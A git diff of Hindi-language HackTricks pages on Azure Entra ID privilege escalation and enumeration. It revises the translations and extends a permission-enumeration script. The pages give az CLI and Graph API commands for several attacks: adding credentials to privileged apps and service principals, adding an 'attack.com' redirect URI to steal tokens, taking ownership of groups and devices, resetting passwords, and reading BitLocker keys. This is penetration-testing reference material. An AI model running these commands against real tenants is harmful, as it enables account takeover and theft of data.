diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index 72c82b68e..53fc450e7 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
-> ध्यान दें कि Entra ID में built-in roles में मौजूद सभी सूक्ष्म अनुमतियाँ custom roles में उपयोग के लिए योग्य नहीं होती हैं।
+> ध्यान दें कि Entra ID में बिल्ट-इन रोल्स के पास मौजूद **सभी सूक्ष्म अनुमतियाँ** **कस्टम रोल्स में उपयोग के लिए योग्य नहीं होतीं।**
## भूमिकाएँ
### Role: Privileged Role Administrator
-यह भूमिका उन आवश्यक सूक्ष्म अनुमतियों को समेटे हुए है जो किसी principal को role असाइन करने और role को अतिरिक्त अनुमतियाँ देने में सक्षम बनाती हैं। इन दोनों कार्रवाइयों का दुरुपयोग करके privileges बढ़ाए जा सकते हैं।
+यह भूमिका आवश्यक सूक्ष्म अनुमतियाँ रखती है ताकि principals को roles असाइन किए जा सकें और roles को अधिक अनुमतियाँ दी जा सकें। दोनों क्रियाओं का दुरुपयोग करके privileges escalate किए जा सकते हैं।
-- किसी उपयोगकर्ता को role असाइन करना:
+- किसी user को role असाइन करना:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
-- role में अधिक permissions जोड़ें:
+- एक role में और अधिक permissions जोड़ें:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
-यह attacker को मौजूदा applications में **add credentials** (passwords or certificates) जोड़ने की अनुमति देता है। यदि application के पास privileged permissions हैं, attacker उस application के रूप में authenticate कर सकता है और उन privileges हासिल कर सकता है।
+यह हमलावर को मौजूदा एप्लिकेशन में **add credentials** (passwords or certificates) जोड़ने की अनुमति देता है। यदि उस एप्लिकेशन के पास privileged permissions हैं, तो हमलावर उस एप्लिकेशन के रूप में authenticate कर सकता है और उन privileges हासिल कर सकता है।
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id --append
@@ -61,7 +61,7 @@ az ad app credential reset --id --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
-यह `applications/credentials/update` जैसी ही क्रियाएँ करने की अनुमति देता है, लेकिन केवल एकल-डायरेक्टरी एप्लिकेशनों के लिए सीमित।
+यह `applications/credentials/update` के समान ही क्रियाएँ करने की अनुमति देता है, लेकिन केवल single-directory applications तक सीमित है।
```bash
az ad app credential reset --id --append
```
@@ -77,24 +77,24 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-An attacker tenant के users द्वारा उपयोग हो रही applications में एक redirect URI जोड़ सकता है और फिर उन users के साथ login URLs साझा कर सकता है जो नए redirect URI का उपयोग करते हैं, ताकि उनके tokens चोरी किए जा सकें। ध्यान दें कि अगर user पहले ही application में logged in है, तो authentication स्वचालित होगा और user को कुछ भी accept करने की आवश्यकता नहीं होगी।
+एक हमलावर उन applications में एक redirect URI जोड़ सकता है जिनका उपयोग tenant के users कर रहे हैं, और फिर उनके साथ ऐसे login URLs साझा कर सकता है जो नए redirect URL का उपयोग करते हैं ताकि उनके tokens चोरी किए जा सकें। ध्यान दें कि यदि user पहले से ही application में logged in है, तो authentication स्वतः हो जाएगा और user को कुछ भी accept करने की आवश्यकता नहीं होगी।
-ध्यान दें कि application द्वारा अनुरोधित permissions को भी बदला जा सकता है ताकि अधिक permissions प्राप्त किए जा सकें, लेकिन इस स्थिति में user को सभी permissions मांगने वाले prompt को पुनः accept करना होगा।
+ध्यान दें कि application द्वारा request की जाने वाली permissions को भी बदला जा सकता है ताकि अधिक permissions प्राप्त की जा सकें, लेकिन इस मामले में user को सभी permissions मांगने वाले prompt को फिर से accept करना होगा।
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
-### Applications Privilege Escalation
+### एप्लिकेशन Privilege Escalation
-**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** यह बहुत सामान्य था कि डिफ़ॉल्ट applications ऐसे मिलते थे जिनके पास प्रकार **API permissions** की **`Application`** असाइन की हुई होती थी। एक API Permission (जैसा कि Entra ID console में कहा जाता है) प्रकार **`Application`** का यह अर्थ है कि application बिना user context (app में user login किए बिना) के API को access कर सकता है और actions कर सकता है, और इसके लिए Entra ID roles की आवश्यकता भी नहीं होती। इसलिए हर Entra ID tenant में **high privileged applications** मिलना बहुत आम है।
+**जैसा कि [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) में समझाया गया है** यह बहुत आम था कि डिफ़ॉल्ट applications को **API permissions** प्रकार **`Application`** के रूप में असाइन किया गया हो। An API Permission (जैसा कि Entra ID console में कहा जाता है) प्रकार **`Application`** का मतलब है कि application बिना user context (बिना किसी user के app में login किए) API तक पहुंच सकती है और actions कर सकती है, और इसे Entra ID roles की अनुमति की आवश्यकता नहीं होती। इसलिए, हर Entra ID tenant में **high privileged applications** मिलना बहुत आम है।
-यदि attacker के पास कोई भी permission/role है जो application के credentials (secret या certificate) को **update the credentials (secret o certificate) of the application** करने की अनुमति देता है, तो attacker नया credential जनरेट कर सकता है और फिर उसे उपयोग करके **authenticate as the application** कर सकता है, और application के सभी permissions हासिल कर सकता है।
+यदि attacker के पास कोई भी permission/role है जो application के **update the credentials (secret o certificate) of the application** की अनुमति देता है, तो attacker एक नया credential जनरेट कर सकता है और फिर उसे उपयोग करके **authenticate as the application** कर सकता है, और application के सभी permissions हासिल कर लेगा।
-ध्यान दें कि उक्त ब्लॉग में कुछ सामान्य Microsoft default applications के कुछ **API permissions** साझा किए गए थे; हालांकि इस रिपोर्ट के कुछ समय बाद Microsoft ने इस समस्या को ठीक कर दिया और अब Microsoft applications के रूप में login करना संभव नहीं है। फिर भी, उच्च विशेषाधिकार वाली **custom applications with high privileges that could be abused** मिलना अभी भी संभव है।
+ध्यान दें कि उल्लेखित ब्लॉग कुछ सामान्य Microsoft डिफ़ॉल्ट applications की **API permissions** साझा करता है, हालांकि इस रिपोर्ट के कुछ समय बाद Microsoft ने इस मुद्दे को ठीक कर दिया और अब Microsoft applications के रूप में login करना संभव नहीं है। फिर भी, उच्च privileges वाले **custom applications** मिलना संभव है जिनका दुरुपयोग किया जा सकता है।
-How to enumerate the API permissions of an application:
+एक application की API permissions को enumerate कैसे करें:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -125,7 +125,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
-सभी applications खोजें जिनके पास non-Microsoft APIs के लिए API permissions हैं (az cli)
+सभी एप्लिकेशनों की API अनुमतियाँ खोजें और Microsoft-स्वामित्व वाली APIs को चिह्नित करें
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -147,6 +147,32 @@ done
return 1
}
+get_permission_value() {
+local resource_app_id="$1"
+local perm_type="$2"
+local perm_id="$3"
+local key value
+key="${resource_app_id}|${perm_type}|${perm_id}"
+
+value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
+if [ -n "$value" ]; then
+printf '%s\n' "$value"
+return 0
+fi
+
+if [ "$perm_type" = "Scope" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+elif [ "$perm_type" = "Role" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+else
+value=""
+fi
+
+[ -n "$value" ] || value="UNKNOWN"
+printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
+printf '%s\n' "$value"
+}
+
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -155,7 +181,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
-trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+tmp_perm_cache="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -169,9 +196,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
-echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
-# Print only app permissions where the target API is NOT Microsoft-owned.
+# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -186,14 +213,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
-continue
+is_ms="true"
+else
+is_ms="false"
fi
+permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
-echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
+perm_label="${perm_type}:${perm_value}"
+if [ -z "$permissions_csv" ]; then
+permissions_csv="$perm_label"
+else
+permissions_csv="${permissions_csv},${perm_label}"
+fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
+
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -203,15 +241,15 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
-यह attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है।
+यह attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि उस service principal के पास elevated privileges हैं, तो attacker वे privileges assume कर सकता है।
```bash
az ad sp credential reset --id --append
```
> [!CAUTION]
-> नया जनरेट किया गया पासवर्ड वेब कंसोल में दिखाई नहीं देगा, इसलिए यह service principal पर persistence बनाए रखने का एक stealth तरीका हो सकता है.\
-> API से इन्हें पाया जा सकता है: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
+> नया जनरेट किया गया पासवर्ड वेब कंसोल में दिखाई नहीं देगा, इसलिए यह service principal पर persistence बनाए रखने का एक छिपा तरीका हो सकता है.\
+> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-यदि आपको त्रुटि `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` मिलती है, तो इसका कारण यह है कि **SP के passwordCredentials property को संशोधित करना संभव नहीं है** और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक permission (`microsoft.directory/applications/allProperties/update`) चाहिए जो आपको execute करने की अनुमति दे:
+यदि आपको यह त्रुटि मिले `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` तो इसका कारण यह है कि **SP के passwordCredentials property में संशोधन करना संभव नहीं है** और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक permission (`microsoft.directory/applications/allProperties/update`) चाहिए जो आपको निष्पादित करने की अनुमति देता है:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
@@ -223,7 +261,7 @@ az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-applications के समान, यह permission एक service principal में और owners जोड़ने की अनुमति देता है। किसी service principal का owner होने से उसके credentials और permissions पर नियंत्रण मिलता है।
+applications के समान, यह permission service principal में और owners जोड़ने की अनुमति देता है। किसी service principal का owner होने से उसके credentials और permissions पर नियंत्रण मिलता है।
```bash
# Add new owner
spId=""
@@ -241,13 +279,13 @@ az ad sp credential reset --id --append
az ad sp owner list --id
```
> [!CAUTION]
-> नया owner जोड़ने के बाद, मैंने उसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE method समर्थित नहीं है, भले ही वही method हो जिसका आपको owner को हटाने के लिए उपयोग करना चाहिए। तो आप आजकल **owners को हटा नहीं सकते**।
+> नया owner जोड़ने के बाद, मैंने उसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE method समर्थित नहीं है, भले ही यही method है जिसे owner को हटाने के लिए इस्तेमाल करना पड़ता है। तो आप **अब owners को हटा नहीं सकते**।
-### `microsoft.directory/servicePrincipals/disable` और `enable`
+### `microsoft.directory/servicePrincipals/disable` and `enable`
-ये permissions service principals को disable और enable करने की अनुमति देते हैं। एक attacker इस permission का उपयोग किसी ऐसे service principal को enable करने के लिए कर सकता है, जिस तक वह किसी तरह access प्राप्त कर ले, ताकि वह privileges escalate कर सके।
+ये permissions service principals को disable और enable करने की अनुमति देते हैं। एक attacker इस permission का इस्तेमाल करके किसी service principal को enable कर सकता है जिसका उसे किसी तरह access मिल गया हो, और फिर privileges escalate कर सकता है।
-ध्यान दें कि इस technique के लिए attacker को enabled service principal को take over करने के लिए और भी permissions की आवश्यकता होगी।
+ध्यान दें कि इस technique के लिए attacker को enabled service principal को takeover करने के लिए और भी permissions की आवश्यकता होगी।
```bash
# Disable
az ad sp update --id --account-enabled false
@@ -257,7 +295,7 @@ az ad sp update --id --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
-ये अनुमतियाँ single sign-on के लिए क्रेडेंशियल्स बनाने और प्राप्त करने की अनुमति देती हैं, जो थर्ड-पार्टी एप्लिकेशनों तक पहुँच प्रदान कर सकती हैं।
+ये permissions single sign-on के लिए credentials बनाने और प्राप्त करने की अनुमति देते हैं, जो third-party applications तक पहुँच की अनुमति दे सकते हैं।
```bash
# Generate SSO creds for a user or a group
spID=""
@@ -283,30 +321,30 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
-यह अनुमति उपयोगकर्ताओं को privileged groups में जोड़ने की क्षमता देती है, जिससे privilege escalation हो सकता है।
+यह अनुमति उपयोगकर्ताओं को विशेषाधिकार प्राप्त समूहों में जोड़ने की अनुमति देती है, जिससे privilege escalation हो सकता है।
```bash
az ad group member add --group --member-id
```
-**नोट**: यह अनुमति Entra ID के role-assignable groups पर लागू नहीं होती।
+**नोट**: यह अनुमति Entra ID role-assignable groups को छोड़ती है।
### `microsoft.directory/groups/owners/update`
-यह अनुमति आपको समूहों का मालिक बनने की अनुमति देती है। किसी समूह का मालिक समूह की सदस्यता और सेटिंग्स नियंत्रित कर सकता है, जिससे संभावित रूप से समूह के लिए विशेषाधिकारों में वृद्धि हो सकती है।
+यह अनुमति उपयोगकर्ता को समूहों का मालिक बनने की अनुमति देती है। एक समूह का मालिक समूह की सदस्यता और सेटिंग्स को नियंत्रित कर सकता है, जिससे संभावित रूप से समूह पर privileges escalate किए जा सकते हैं।
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
```
-**नोट**: यह अनुमति Entra ID role-assignable groups को शामिल नहीं करती।
+**ध्यान दें**: यह अनुमति Entra ID role-assignable groups को शामिल नहीं करती।
### `microsoft.directory/groups/members/update`
-यह अनुमति किसी समूह में सदस्य जोड़ने की अनुमति देती है। एक हमलावर स्वयं या दुष्ट खातों को विशेषाधिकार प्राप्त समूहों में जोड़ सकता है, जिससे उन्हें उच्च अधिकार मिल सकते हैं।
+यह अनुमति किसी समूह में सदस्यों को जोड़ने की अनुमति देती है। एक attacker खुद को या malicious accounts को privileged groups में जोड़ सकता है, जिससे elevated access मिल सकता है।
```bash
az ad group member add --group --member-id
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
-यह अनुमति डायनामिक समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। attacker डायनामिक नियमों को संशोधित करके बिना स्पष्ट रूप से जोड़े जाने के खुद को विशेषाधिकार प्राप्त समूहों में शामिल कर सकता है।
+यह अनुमति किसी डायनेमिक समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर डायनेमिक नियमों को संशोधित करके बिना स्पष्ट रूप से जोड़े जाने के अपने आप को विशेषाधिकार प्राप्त समूहों में शामिल कर सकता है।
```bash
groupId=""
az rest --method PATCH \
@@ -317,27 +355,27 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
-**नोट**: यह अनुमति Entra ID role-assignable groups को शामिल नहीं करती।
+**Note**: यह permission Entra ID role-assignable groups में शामिल नहीं है।
### Dynamic Groups Privesc
-यह संभव हो सकता है कि उपयोगकर्ता अपनी ही properties को संशोधित करके dynamic groups के सदस्य के रूप में जोड़े जाने से privileges बढ़ा सकें। अधिक जानकारी के लिए देखें:
+यह संभव हो सकता है कि उपयोगकर्ता अपनी properties संशोधित करके खुद को dynamic groups के सदस्य के रूप में जोड़वाकर privileges escalate कर सकें। अधिक जानकारी के लिए देखें:
{{#ref}}
dynamic-groups.md
{{#endref}}
-## उपयोगकर्ता
+## Users
### `microsoft.directory/users/password/update`
-यह permission non-admin उपयोगकर्ताओं का पासवर्ड रीसेट करने की अनुमति देता है, जिससे एक संभावित हमलावर अन्य उपयोगकर्ताओं के प्रति privileges बढ़ा सकता है। यह permission custom roles को असाइन नहीं किया जा सकता।
+यह permission non-admin users का पासवर्ड रीसेट करने की अनुमति देता है, जिससे एक संभावित attacker अन्य users पर privileges escalate कर सकता है। यह permission custom roles को असाइन नहीं किया जा सकता।
```bash
az ad user update --id --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
-यह अधिकार उपयोगकर्ता की विशेषताओं को संशोधित करने की अनुमति देता है। अक्सर ऐसे डायनामिक समूह मिलते हैं जो विशेषता मानों के आधार पर उपयोगकर्ताओं को जोड़ते हैं, इसलिए यह अनुमति किसी उपयोगकर्ता को आवश्यक विशेषता मान सेट करने की अनुमति दे सकती है ताकि वह किसी विशेष डायनामिक समूह का सदस्य बन सके और अपने विशेषाधिकार बढ़ा सके।
+यह विशेषाधिकार उपयोगकर्ता की properties संशोधित करने की अनुमति देता है। अक्सर ऐसे dynamic groups मिलते हैं जो उपयोगकर्ताओं को उनके properties के मानों के आधार पर जोड़ते हैं; इसलिए यह permission किसी उपयोगकर्ता को आवश्यक property value सेट करने की अनुमति दे सकता है ताकि वह किसी specific dynamic group का सदस्य बनकर विशेषाधिकार बढ़ा सके।
```bash
#e.g. change manager of a user
victimUser=""
@@ -355,17 +393,17 @@ az rest --method PATCH \
```
## Conditional Access Policies & MFA bypass
-MFA की आवश्यकता वाली misconfigured conditional access policies को bypass किया जा सकता है, देखें:
+गलत कॉन्फ़िगर की गई conditional access policies जिनके लिए MFA आवश्यक है, bypass की जा सकती हैं, देखें:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
-## Devices
+## डिवाइस
### `microsoft.directory/devices/registeredOwners/update`
-यह permission attackers को स्वयं को devices के owners के रूप में असाइन करने की अनुमति देता है, जिससे वे device-specific settings और data का नियंत्रण या पहुँच प्राप्त कर सकते हैं।
+यह अनुमति हमलावरों को खुद को डिवाइसों के मालिक के रूप में असाइन करने की अनुमति देती है, ताकि वे डिवाइस-विशिष्ट सेटिंग्स और डेटा पर नियंत्रण या पहुँच प्राप्त कर सकें।
```bash
deviceId=""
userId=""
@@ -376,7 +414,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-यह अनुमति हमलावरों को अपने खाते को डिवाइसों से जोड़कर पहुँच प्राप्त करने या सुरक्षा नीतियों को बायपास करने की अनुमति देती है।
+यह अनुमति attackers को अपने अकाउंट को डिवाइसों से जोड़कर access प्राप्त करने या security policies को bypass करने की सुविधा देती है।
```bash
deviceId=""
userId=""
@@ -387,7 +425,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-यह अनुमति हमलावरों को Microsoft Entra joined devices के लिए बैकअप किए गए स्थानीय प्रशासक खाते के credentials की विशेषताएँ पढ़ने की अनुमति देती है, जिसमें password भी शामिल है।
+यह अनुमति हमलावरों को Microsoft Entra joined devices के लिए बैकअप किए गए local administrator account credentials की properties पढ़ने की अनुमति देती है, जिसमें password भी शामिल है।
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -402,7 +440,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
-यह permission BitLocker keys तक access करने की अनुमति देता है, जो एक attacker को drives को decrypt करने में सक्षम बना सकता है और इससे data की confidentiality compromise हो सकती है।
+यह अनुमति BitLocker keys तक पहुँचने की अनुमति देती है, जो किसी हमलावर को ड्राइव्स को डिक्रिप्ट करने में सक्षम बना सकती है, और इससे डेटा की गोपनीयता का उल्लंघन हो सकता है।
```bash
# List recovery keys
az rest --method GET \
@@ -413,7 +451,7 @@ recoveryKeyId=""
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
-## अन्य रोचक permissions (TODO)
+## अन्य दिलचस्प permissions (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index e0d32c122..2bacc37d5 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -4,11 +4,11 @@
## बुनियादी जानकारी
-Azure Active Directory (Azure AD) Microsoft का क्लाउड-आधारित सेवा है जो पहचान और पहुँच प्रबंधन (identity and access management) के लिए उपयोग होती है। यह कर्मचारियों को साइन-इन करने और संस्थान के भीतर तथा बाहर के संसाधनों—जैसे Microsoft 365, the Azure portal, और कई अन्य SaaS एप्लिकेशनों—तक पहुँच प्रदान करने में महत्वपूर्ण भूमिका निभाती है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाएँ प्रदान करने पर केंद्रित है, जिनमें प्रमुख रूप से **प्रमाणीकरण, प्राधिकरण, और उपयोगकर्ता प्रबंधन** शामिल हैं।
+Azure Active Directory (Azure AD) Microsoft की क्लाउड-आधारित सेवा है जो पहचान और पहुँच प्रबंधन के लिए उपयोग होती है। यह कर्मचारियों को साइन-इन करने और संगठन के अंदर और बाहर दोनों तरह के संसाधनों — जैसे Microsoft 365, Azure portal और कई अन्य SaaS एप्लिकेशन्स — तक पहुँच प्रदान करने में मुख्य भूमिका निभाता है। Azure AD की डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, विशेष रूप से **authentication, authorization, and user management**।
-Azure AD की प्रमुख विशेषताओं में **बहु-कारक प्रमाणीकरण** और **शर्तीय पहुँच** शामिल हैं, साथ ही यह अन्य Microsoft सुरक्षा सेवाओं के साथ सहज एकीकरण भी प्रदान करता है। ये सुविधाएँ उपयोगकर्ता पहचान की सुरक्षा को काफी बढ़ाती हैं और संगठनों को अपनी एक्सेस नीतियों को प्रभावी ढंग से लागू और प्रवर्तित करने के लिए सक्षम बनाती हैं। Microsoft के क्लाउड सेवा पारिस्थितिकी तंत्र के एक मौलिक घटक के रूप में, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए केंद्रीय महत्व रखता है।
+Azure AD की प्रमुख विशेषताओं में **multi-factor authentication** और **conditional access** शामिल हैं, साथ ही यह अन्य Microsoft security services के साथ सहज एकीकरण भी प्रदान करता है। ये विशेषताएँ उपयोगकर्ता पहचान की सुरक्षा को काफी बढ़ाती हैं और संगठनों को उनकी एक्सेस नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। Microsoft के क्लाउड सर्विसेज़ इकोसिस्टम का एक मूलभूत घटक होने के नाते, Azure AD उपयोगकर्ता पहचानों के क्लाउड-आधारित प्रबंधन के लिए केंद्रीय भूमिका निभाता है।
-## एन्यूमरेशन
+## Enumeration
### **कनेक्शन**
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
-जब आप किसी भी प्रोग्राम के साथ **CLI** के माध्यम से **login** करके Azure में प्रवेश करते हैं, तो आप **Microsoft** के एक **tenant** से संबंधित एक **Azure Application** का उपयोग कर रहे होते हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, **have a client id**। आप कंसोल में दिखाई जाने वाली **allowed applications lists** में उन्हें **won't be able to see all of them** नहीं देख पाएँगे, **but they are allowed by default**।
+जब आप किसी भी प्रोग्राम के जरिए **CLI** पर **Azure** में **login** करते हैं, तो आप Microsoft के एक **tenant** से संबंधित एक **Azure Application** का उपयोग कर रहे होते हैं। ये Applications, जिन जैसी आप अपने अकाउंट में बना सकते हैं, **एक client id** रखती हैं। आप **console** में दिखने वाली **allowed applications lists** में इन्हें सब नहीं देख पाएंगे, **पर ये डिफ़ॉल्ट रूप से allowed रहते हैं**।
-उदाहरण के लिए एक **powershell script** जो **authenticates** करता है, वह client id **`1950a258-227b-4e31-a9cf-717495945fc2`** वाले एक App का उपयोग करती है। भले ही ऐप कंसोल में न दिखाई दे, एक sysadmin वह **block that application** कर सकता है ताकि उपयोगकर्ता उन टूल्स से जिनका कनेक्शन उस App के माध्यम से होता है, एक्सेस न कर सकें।
+उदाहरण के लिए एक **powershell script** जो **authenticates** करती है, एक ऐसे app का उपयोग करती है जिसका client id **`1950a258-227b-4e31-a9cf-717495945fc2`** है। भले ही वह app console में दिखाई न दे, एक sysadmin उस **application** को **block** कर सकता है ताकि उपयोगकर्ता उन tools से access न कर सकें जो उस App के माध्यम से connect करते हैं।
-हालाँकि, ऐसी एप्लिकेशन के **other client-ids** भी मौजूद हैं जो आपको **will allow you to connect to Azure**:
+हालाँकि, ऐसे **other client-ids** भी हैं जिनके applications आपको **Azure** से connect करने की अनुमति देंगे:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -214,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential `
-Verbose -Debug `
-InformationAction Continue
```
-### टेनेन्ट्स
+### टेनेंट्स
{{#tabs }}
{{#tab name="az cli" }}
@@ -358,15 +358,15 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtab }}
{{#endtabs }}
-#### उपयोगकर्ता Password बदलें
+#### उपयोगकर्ता का पासवर्ड बदलें
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
-### MFA और Conditional Access नीतियाँ
+### MFA और Conditional Access Policies
-हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालांकि कुछ कंपनियाँ इसे सेट नहीं करतीं या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को **MFA आवश्यक होगा यदि** वह किसी विशिष्ट स्थान, ब्राउज़र या **कुछ शर्त** से लॉगिन करता है। ये नीतियाँ, यदि सही तरीके से कॉन्फ़िगर नहीं की गईं, तो **bypasses** के प्रति संवेदनशील हो सकती हैं। जाँचें:
+हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालांकि कुछ कंपनियाँ इसे सेट नहीं करतीं या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को **MFA आवश्यक होगा यदि** वह किसी विशिष्ट स्थान, ब्राउज़र से लॉगिन करता है या **कुछ शर्त**। ये नीतियाँ, यदि सही तरीके से कॉन्फ़िगर नहीं की गईं तो **bypasses** के प्रति संवेदनशील हो सकती हैं। जाँच करें:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl *
#### समूह में उपयोगकर्ता जोड़ें
-समूह के मालिक समूह में नए उपयोगकर्ता जोड़ सकते हैं।
+समूह के मालिक समूह में नए उपयोगकर्ताओं को जोड़ सकते हैं
```bash
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
